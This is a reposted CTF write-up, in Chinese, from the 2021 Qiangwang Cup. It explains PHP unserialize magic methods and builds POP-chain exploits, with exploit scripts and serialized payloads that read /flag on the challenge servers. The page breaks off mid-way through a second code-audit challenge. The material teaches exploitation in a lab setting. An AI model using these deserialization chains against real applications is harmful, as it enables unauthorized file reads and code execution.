2021强网杯全国网络安全挑战赛Writeup
Posted Tr0e
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021强网杯全国网络安全挑战赛Writeup相关的知识,希望对你有一定的参考价值。
文章目录
前言
上周末端午假期期间(6月12日9:00至6月13日21:00)参与了为期 36h 的第五届强网杯网络安全竞赛,不得不说题目比去年难多了,两天下来腰酸背痛脑壳疼……比赛的数据大致如下:
幸运的是最终在实力傍队友的情况下,又一年获得竞赛前 10% 有效排名的 “强网先锋” 称号,在此记录下比赛的 Writeup。
强网先锋-赌徒
1、下发赛题,访问地址如下:
2、结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip:
3、解压缩获得题目源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。
PHP的魔术方法
PHP 中魔术方法的定义是把以两个下划线__
开头的方法称为魔术方法,常见的如下:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString: 当对象被当做一个字符串使用时调用。
__sleep: 序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup: 反序列化恢复对象之前调用该方法
__call: 当调用对象中不存在的方法会自动调用该方法。
__get: 从不可访问的属性中读取数据会触发
__isset(): 在不可访问的属性上调用isset()或empty()触发
__unset(): 在不可访问的属性上使用unset()时触发
__invoke(): 将对象调用为函数时触发
更多请查看PHP手册:
https://www.php.net/manual/zh/language.oop5.magic.php
简单例子
<?php
class A{
var $test = "demo";
function __wakeup(){
eval($this->test);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
分析:这里只有一个A类,只有一个__wakeup()
方法,并且一旦反序列化会走魔法方法__wakeup
并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数:
<?php
class A{
var $test = "demo";
function __wakeup(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
$b = new A();
$b->test="phpinfo();";
$c = serialize($b);
echo $c;
?>
输出:
O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
提交输出的 Payload,执行效果如下:
POP链实例
进一步来看一道进阶题目:
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\\.\\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()
函数,Show 类有highlight_file()
函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup
魔术方法,而__wakeup
魔术方法可以看到在 Show 类中。
1、__wakeup
方法:
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
存在一个正则匹配函数 preg_match(),该函数第二个参数应为字符串,这里把 source 当作字符串进行的匹配,这时若这个 source 是某个类的对象的话,就会触发这个类的__tostring
方法,通篇看下代码发现__tostring
魔术方法也在 Show 类中,那么我们一会构造 exp 时将 source 变成 Show 这个类的对象就会触发__tostring
方法。
2、__tostring
方法:
public function __toString(){
return $this->str['str']->source;
}
首先找到 str 这个数组,取出 key 值为 str 的 value 值赋给 source,那么如果这个 value 值不存在的话就会触发 __get
魔术方法。再次通读全篇,看到 Test 类中存在 __get 魔术方法。
3、__get
方法:
public function __get($key){
$function = $this->p;
return $function();
}
发现先取 Test 类中的属性 p 给 function 变量,再通过 return $function() 把它当作函数执行,这里属性 p 可控。这样就会触发 __invoke
魔术方法,而 __invoke
魔术方法存在于Read类中。
4、__invoke
方法:
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
调用了该类中的 file_get 方法,形参是 var 属性值(这里我们可以控制),实参是 value 值,从而调用file_get_contents
函数读取文件内容,所以只要将 Read 类中的 var 属性值赋值为 flag.php 即可。
5、POP链构造:
unserialize
函数(变量可控) –>__wakeup()
魔术方法–>__tostring()
魔术方法–>__get
魔术方法–>__invoke
魔术方法–> 触发 Read 类中的file_get
方法–>触发file_get_contents
函数读取 flag.php。
<?php
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Read{
public $var = "flag.php";
}
$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。
var_dump(serialize($s));
?>
题目POP链构造
经过上面的实例分析,此赛题同理,照葫芦画瓢即可。
构造本题的 EXP:
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
public $phonenumber=123123;
public $promise='I do';
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$S = new Start();
$I = new Info();
$R = new Room();
$R->a = $R;
$I->file['filename'] = $R;
$S->name = $I;
echo serialize($S);
?>
输出Payload:
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:11:"phonenumber";i:123123;s:7:"promise";s:4:"I do";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
提交 Payload,获得 Flag 的 base64 编码:
坑点!需要去除前面的 “hi” 字符再进行 Base64 解码:
强网先锋-寻宝
下发赛题,访问链接如下:
该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。
Key1之代码审计
点击“信息1”,发现是代码审计:
完整源码如下:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\\$','\\(','\\.','num','html','\\/','\\,','\\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1))以上是关于2021强网杯全国网络安全挑战赛Writeup的主要内容,如果未能解决你的问题,请参考以下文章
第五届“强网杯”全国网络安全挑战赛 - 青少年专项赛 crypto